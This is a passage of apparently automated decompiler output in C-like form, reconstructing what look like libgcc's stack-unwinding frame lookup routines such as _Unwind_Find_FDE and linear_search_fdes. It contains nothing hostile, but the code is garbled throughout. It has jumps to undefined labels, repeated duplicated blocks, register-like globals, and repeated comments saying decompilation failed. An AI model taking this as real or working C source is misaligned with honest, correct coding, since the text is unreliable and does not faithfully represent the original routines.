g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a870a
v43 = g98;
v46 = v43;
v117 = v43 - 0x887a4;
// branch -> 0x80a8713
}
// 0x80a8713
g102 = v88;
if (v88 == 0) {
// 0x80a8d40
g96 = v92;
g97 = v117;
g95 = v71;
g99 -= 4;
frame_heapsort(a1, 0, 0);
// branch -> 0x80a8878
} else {
// 0x80a8721
v18 = (int32_t *)(v92 + 4);
v94 = *v18;
if (v94 != 0) {
// 0x80a8b00
v61 = v46 + 0x7888;
v36 = (struct struct_118 *)v61;
v12 = v92 + 8;
*(int32_t *)(v88 + 8) = v61;
v14 = v12;
g101 = v14;
g96 = 1;
if (v94 != 1) {
v11 = 1;
v15 = v14;
while (true) {
// 0x80a8b44
v108 = (int32_t)v36;
g1 = v15 < v108;
g103 = v15 == v108;
if (v15 == v108) {
goto lab_0x6c94920;
}
goto lab_0xafb6150;
}
}
// 0x80a8b85
v32 = 0;
v87 = 0;
v82 = 0;
v81 = 0;
v29 = (int32_t *)v93;
// branch -> 0x80a8bd5
lab_0x7032100:
while (true) {
// 0x80a8bd5
v86 = v87;
v80 = v81;
v28 = v29;
// branch -> 0x80a8bd5
goto lab_0x6d0fe20;
}
}
// 0x80a8746
*v18 = 0;
g96 = v88;
v19 = (int32_t *)(v88 + 4);
*v19 = 0;
v57 = g102;
v73 = (int32_t)(int32_t *)v93;
g101 = v73;
v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4);
g95 = v16;
if (v16 != v56) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a8773
g96 = v57;
g97 = v117;
g95 = (int32_t)v4;
frame_heapsort(a1, 0, 0);
v96 = v38;
v95 = (int32_t)v96;
v97 = *v19;
g96 = v97;
if (v97 != 0) {
// 0x80a879d
v125 = v95 + 8;
v53 = (int32_t *)0x80a8783;
v22 = (int32_t *)(v88 + 8 + 4 * v97);
v99 = v97;
v110 = v96->e1;
// branch -> 0x80a87cf
lab_0x7037c30:
while (true) {
// 0x80a87cf
v128 = v99 - 1;
v20 = (int32_t *)((int32_t)v22 - 4);
v21 = (struct struct_118 *)*v20;
v41 = v21;
v98 = (int32_t)v110;
if (v110 == NULL) {
v52 = v53;
v109 = NULL;
goto lab_0x6cebf10;
}
goto lab_0x6ca6790;
}
}
// 0x80a886a
free(v17);
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = (int32_t *)0x80a8783;
v119 = (int32_t *)0x80a8875;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
v51 = v2;
v119 = (int32_t *)0x80a866f;
}
}
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 >= *(int32_t *)v75) {
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v105) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = (int32_t *)v112;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Address range: 0x80a8d68 - 0x80a8d71
void _Unwind_Find_FDE(int32_t a1) {
int32_t v1 = 0; // bp-52
int32_t v2;
int32_t v3;
function_80a8d76((struct struct_45 *)&v3, v2, (struct struct_120 *)&v1);
}
// Address range: 0x80a8d76 - 0x80a8f4f
int32_t function_80a8d76(struct struct_45 * a1, int32_t a2, struct struct_120 * a3) {
struct struct_110 * v1 = NULL; // bp-8
int32_t v2 = a2;
int32_t * v3;
int32_t v4 = (int32_t)v3; // 0x80a8d76
int32_t v5 = v4 + 0x88982; // 0x80a8d77
g98 = v5;
g101 = a2;
int32_t v6 = *(int32_t *)(v4 + 0x8892e); // 0x80a8d82
int32_t * v7;
if (v6 != 0) {
// 0x80a8e99
__pthread_mutex_lock_internal((struct struct_3 *)a1, &v2, &a3->e0, NULL);
g99 -= 4;
v5 = g98;
v7 = (int32_t *)0x80a8ea8;
// branch -> 0x80a8d97
}
int32_t v8 = *(int32_t *)(v5 + 0x7968); // 0x80a8d97
g102 = v8;
int32_t * v9 = v3;
int32_t v10; // 0x80a8ebf
int32_t v11; // 0x80a8f41
int32_t * v12; // 0x80a8e4a_0
int32_t v13; // 0x80a8e04
int32_t v14;
int32_t * v15;
int32_t * v16;
int32_t * v17;
int32_t * v18;
int32_t v19; // 0x80a8e04
int32_t v20; // 0x80a8e07
int32_t v21; // 0x80a8e32
int32_t * v22; // 0x80a8f3b_05
int32_t v23; // 0x80a8def
int32_t v24; // 0x80a8e2f
int32_t v25; // 0x80a8ef3
int32_t v26; // 0x80a8def
int32_t v27; // 0x80a8e4a
int32_t result; // 0x80a8f442
if (v8 != 0) {
uint32_t v28 = g101; // 0x80a8da5
if (v28 < *(int32_t *)v8) {
int32_t v29 = v8; // 0x80a8dac
while (true) {
int32_t v30 = *(int32_t *)(v29 + 20); // 0x80a8dac
g102 = v30;
if (v30 == 0) {
// 0x80a8e4a
v9 = v3;
// branch -> 0x80a8e4a
} else {
// 0x80a8db7
if (*(int32_t *)v30 <= v28) {
// break -> 0x80a8dbb
break;
}
v29 = v30;
// continue -> 0x80a8dac
continue;
}
// 0x80a8e4a
// branch -> 0x80a8e4a
while (true) {
// 0x80a8e4a
v12 = (int32_t *)(g98 + 0x796c);
v27 = *v12;
g102 = v27;
v22 = v9;
v15 = v7;
result = 0;
if (v27 != 0) {
lab_0x7075690:
// 0x80a8e58
*v12 = *(int32_t *)(v27 + 20);
g97 = g101;
g95 = g102;
g99 -= 4;
search_object(a1, v2, &a3->e0);
int32_t v31 = g95; // 0x80a8e6a
int32_t v32 = g98 + 0x7968; // 0x80a8e6d
int32_t v33 = *(int32_t *)v32; // 0x80a8e6d
int32_t v34 = g102;
int32_t v35 = 0; // 0x80a8e3e26
int32_t v36; // 0x80a8e3e
if (v33 != 0) {
uint32_t v37 = *(int32_t *)v34; // 0x80a8e77
if (v37 <= *(int32_t *)v33) {
int32_t v38 = v33; // 0x80a8e80
while (true) {
int32_t v39 = v38 + 20; // 0x80a8e80
g96 = v39;
int32_t v40 = *(int32_t *)v39; // 0x80a8e83
if (v40 != 0) {
// 0x80a8e8a
if (*(int32_t *)v40 < v37) {
// break -> 0x80a8e3e
break;
}
v38 = v40;
// continue -> 0x80a8e80
continue;
}
// 0x80a8e3e
v36 = 0;
// branch -> 0x80a8e3e
lab_0x7079f50:
// 0x80a8e3e
*(int32_t *)(v34 + 20) = v36;
*(int32_t *)g96 = g102;
if (v31 != 0) {
v22 = v9;
v15 = (int32_t *)0x80a8e6a;
result = v31;
// break (via goto) -> 0x80a8dcb
goto lab_0x69efcc0;
}
v18 = (int32_t *)0x80a8e6a;
// continue (via goto) -> 0x80a8e4a
goto lab_0x70f6500;
}
// 0x80a8dcb
if (v6 == 0) {
// 0x80a8dd6
if (result == 0) {
// 0x80a8dd6
v25 = g99;
// branch -> 0x80a8ecd
// 0x80a8ecd
*(int32_t *)(v25 - 12) = g100 - 36;
g99 = v25 - 20;
if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) {
// 0x80a8f11
g95 = 0;
// branch -> 0x80a8e2c
}
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)v22;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return 0;
}
v16 = v15;
} else {
// 0x80a8eb0
__pthread_mutex_unlock_internal(a1);
v10 = g99 - 4;
g99 = v10;
if (result == 0) {
v25 = v10;
// 0x80a8ecd
*(int32_t *)(v25 - 12) = g100 - 36;
g99 = v25 - 20;
if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) {
// 0x80a8f11
g95 = 0;
// branch -> 0x80a8e2c
}
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)v22;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return 0;
}
v16 = (int32_t *)0x80a8ebf;
}
// 0x80a8de1
a3->e0 = *(int32_t *)(g102 + 4);
a3->e1 = *(int32_t *)(g102 + 8);
v23 = g102;
v26 = v23 + 16;
if (*(char *)v26 != 4) {
// 0x80a8f3e
v11 = result + 4;
g95 = v11 - *(int32_t *)v11;
g99 -= 4;
get_cie_encoding(a1);
v20 = g102;
v19 = g95;
v17 = (int32_t *)0x80a8f4f;
// branch -> 0x80a8e04
} else {
v20 = v23;
v19 = (int32_t)(*(int16_t *)v26 / 8 % 256);
v17 = v16;
}
// 0x80a8e04
v13 = v19 % 256;
g97 = v20;
g95 = v13;
base_from_object(a1);
g96 = result + 8;
g95 = v13;
read_encoded_value_with_base_723((int32_t)a3 + 8, (int32_t)v1, (int32_t)v17);
// branch -> 0x80a8e2c
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)(int32_t *)0x80a8e10;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return result;
}
v35 = v33;
}
// 0x80a8e38
g96 = v32;
v36 = v35;
// branch -> 0x80a8e3e
goto lab_0x7079f50;
}
// 0x80a8dcb
if (v6 == 0) {
// 0x80a8dd6
if (result == 0) {
// 0x80a8dd6
v25 = g99;
// branch -> 0x80a8ecd
// 0x80a8ecd
*(int32_t *)(v25 - 12) = g100 - 36;
g99 = v25 - 20;
if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) {
// 0x80a8f11
g95 = 0;
// branch -> 0x80a8e2c
}
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)v22;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return 0;
}
v16 = v15;
} else {
// 0x80a8eb0
__pthread_mutex_unlock_internal(a1);
v10 = g99 - 4;
g99 = v10;
if (result == 0) {
v25 = v10;
// 0x80a8ecd
*(int32_t *)(v25 - 12) = g100 - 36;
g99 = v25 - 20;
if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) {
// 0x80a8f11
g95 = 0;
// branch -> 0x80a8e2c
}
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)v22;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return 0;
}
v16 = (int32_t *)0x80a8ebf;
}
// 0x80a8de1
a3->e0 = *(int32_t *)(g102 + 4);
a3->e1 = *(int32_t *)(g102 + 8);
v23 = g102;
v26 = v23 + 16;
if (*(char *)v26 != 4) {
// 0x80a8f3e
v11 = result + 4;
g95 = v11 - *(int32_t *)v11;
g99 -= 4;
get_cie_encoding(a1);
v20 = g102;
v19 = g95;
v17 = (int32_t *)0x80a8f4f;
// branch -> 0x80a8e04
} else {
v20 = v23;
v19 = (int32_t)(*(int16_t *)v26 / 8 % 256);
v17 = v16;
}
// 0x80a8e04
v13 = v19 % 256;
g97 = v20;
g95 = v13;
base_from_object(a1);
g96 = result + 8;
g95 = v13;
read_encoded_value_with_base_723((int32_t)a3 + 8, (int32_t)v1, (int32_t)v17);
// branch -> 0x80a8e2c
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)(int32_t *)0x80a8e10;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return result;
}
}
} else {
// 0x80a8dbb
g97 = v28;
g95 = v8;
search_object(a1, v2, &a3->e0);
int32_t v41 = g95; // 0x80a8dc4
if (v41 != 0) {
v22 = (int32_t *)0x80a8dc4;
result = v41;
// 0x80a8dcb
if (v6 == 0) {
// 0x80a8dd6
if (result == 0) {
// 0x80a8dd6
v25 = g99;
// branch -> 0x80a8ecd
// 0x80a8ecd
*(int32_t *)(v25 - 12) = g100 - 36;
g99 = v25 - 20;
if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) {
// 0x80a8f11
g95 = 0;
// branch -> 0x80a8e2c
}
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)v22;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return 0;
}
v16 = v7;
} else {
// 0x80a8eb0
__pthread_mutex_unlock_internal(a1);
v10 = g99 - 4;
g99 = v10;
if (result == 0) {
v25 = v10;
// 0x80a8ecd
*(int32_t *)(v25 - 12) = g100 - 36;
g99 = v25 - 20;
if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) {
// 0x80a8f11
g95 = 0;
// branch -> 0x80a8e2c
}
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)v22;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return 0;
}
v16 = (int32_t *)0x80a8ebf;
}
// 0x80a8de1
a3->e0 = *(int32_t *)(g102 + 4);
a3->e1 = *(int32_t *)(g102 + 8);
v23 = g102;
v26 = v23 + 16;
if (*(char *)v26 != 4) {
// 0x80a8f3e
v11 = result + 4;
g95 = v11 - *(int32_t *)v11;
g99 -= 4;
get_cie_encoding(a1);
v20 = g102;
v19 = g95;
v17 = (int32_t *)0x80a8f4f;
// branch -> 0x80a8e04
} else {
v20 = v23;
v19 = (int32_t)(*(int16_t *)v26 / 8 % 256);
v17 = v16;
}
// 0x80a8e04
v13 = v19 % 256;
g97 = v20;
g95 = v13;
base_from_object(a1);
g96 = result + 8;
g95 = v13;
read_encoded_value_with_base_723((int32_t)a3 + 8, (int32_t)v1, (int32_t)v17);
// branch -> 0x80a8e2c
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)(int32_t *)0x80a8e10;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return result;
}
v9 = (int32_t *)0x80a8dc4;
}
// 0x80a8e4a
// branch -> 0x80a8e4a
while (true) {
// 0x80a8e4a
v12 = (int32_t *)(g98 + 0x796c);
v27 = *v12;
g102 = v27;
if (v27 != 0) {
goto lab_0x7075690;
}
v22 = v9;
result = 0;
// 0x80a8dcb
if (v6 == 0) {
// 0x80a8dd6
if (result == 0) {
// 0x80a8dd6
v25 = g99;
// branch -> 0x80a8ecd
// 0x80a8ecd
*(int32_t *)(v25 - 12) = g100 - 36;
g99 = v25 - 20;
if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) {
// 0x80a8f11
g95 = 0;
// branch -> 0x80a8e2c
}
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)v22;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return 0;
}
v16 = v7;
} else {
// 0x80a8eb0
__pthread_mutex_unlock_internal(a1);
v10 = g99 - 4;
g99 = v10;
if (result == 0) {
v25 = v10;
// 0x80a8ecd
*(int32_t *)(v25 - 12) = g100 - 36;
g99 = v25 - 20;
if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) {
// 0x80a8f11
g95 = 0;
// branch -> 0x80a8e2c
}
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)v22;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return 0;
}
v16 = (int32_t *)0x80a8ebf;
}
// 0x80a8de1
a3->e0 = *(int32_t *)(g102 + 4);
a3->e1 = *(int32_t *)(g102 + 8);
v23 = g102;
v26 = v23 + 16;
if (*(char *)v26 != 4) {
// 0x80a8f3e
v11 = result + 4;
g95 = v11 - *(int32_t *)v11;
g99 -= 4;
get_cie_encoding(a1);
v20 = g102;
v19 = g95;
v17 = (int32_t *)0x80a8f4f;
// branch -> 0x80a8e04
} else {
v20 = v23;
v19 = (int32_t)(*(int16_t *)v26 / 8 % 256);
v17 = v16;
}
// 0x80a8e04
v13 = v19 % 256;
g97 = v20;
g95 = v13;
base_from_object(a1);
g96 = result + 8;
g95 = v13;
read_encoded_value_with_base_723((int32_t)a3 + 8, (int32_t)v1, (int32_t)v17);
// branch -> 0x80a8e2c
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)(int32_t *)0x80a8e10;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return result;
}
}
// 0x80a8e4a
v18 = v7;
// branch -> 0x80a8e4a
lab_0x70f6500:
while (true) {
// 0x80a8e4a
v12 = (int32_t *)(g98 + 0x796c);
v27 = *v12;
g102 = v27;
if (v27 != 0) {
goto lab_0x7075690;
}
v22 = v9;
v15 = v18;
result = 0;
lab_0x69efcc0:
// 0x80a8dcb
if (v6 == 0) {
// 0x80a8dd6
if (result == 0) {
// 0x80a8dd6
v25 = g99;
// branch -> 0x80a8ecd
// 0x80a8ecd
*(int32_t *)(v25 - 12) = g100 - 36;
g99 = v25 - 20;
if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) {
// 0x80a8f11
g95 = 0;
// branch -> 0x80a8e2c
}
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)v22;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return 0;
}
v16 = v15;
} else {
// 0x80a8eb0
__pthread_mutex_unlock_internal(a1);
v10 = g99 - 4;
g99 = v10;
if (result == 0) {
v25 = v10;
// 0x80a8ecd
*(int32_t *)(v25 - 12) = g100 - 36;
g99 = v25 - 20;
if (dl_iterate_phdr((int32_t)a1, (struct struct_3 *)&v2) >= 0) {
// 0x80a8f11
g95 = 0;
// branch -> 0x80a8e2c
}
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)v22;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return 0;
}
v16 = (int32_t *)0x80a8ebf;
}
// 0x80a8de1
a3->e0 = *(int32_t *)(g102 + 4);
a3->e1 = *(int32_t *)(g102 + 8);
v23 = g102;
v26 = v23 + 16;
if (*(char *)v26 != 4) {
// 0x80a8f3e
v11 = result + 4;
g95 = v11 - *(int32_t *)v11;
g99 -= 4;
get_cie_encoding(a1);
v20 = g102;
v19 = g95;
v17 = (int32_t *)0x80a8f4f;
// branch -> 0x80a8e04
} else {
v20 = v23;
v19 = (int32_t)(*(int16_t *)v26 / 8 % 256);
v17 = v16;
}
